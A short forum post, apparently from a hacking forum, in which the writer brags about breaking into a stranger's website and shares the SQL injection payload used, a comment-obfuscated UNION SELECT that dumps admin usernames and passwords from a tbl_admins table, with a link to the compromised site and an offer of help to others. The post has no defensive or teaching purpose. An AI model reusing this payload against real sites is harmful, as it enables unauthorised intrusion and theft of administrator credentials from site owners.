well i didnt hack it to its my full potential im posting this link as a refference
DO NOT MESS WITH THE GUYS SITE
HACKED
i dont speak that language tho lol
anways what we did was insert a sql injection in to this guys site
Code:
5/**/UNION/**/SELECT/**/1,concat_ws(0x3a,UserName,Password)/**/from/**/tbl_admins/*]HACKED[/URL]
which gives commands to the mysql server and then giving u information
if u need any help just ask me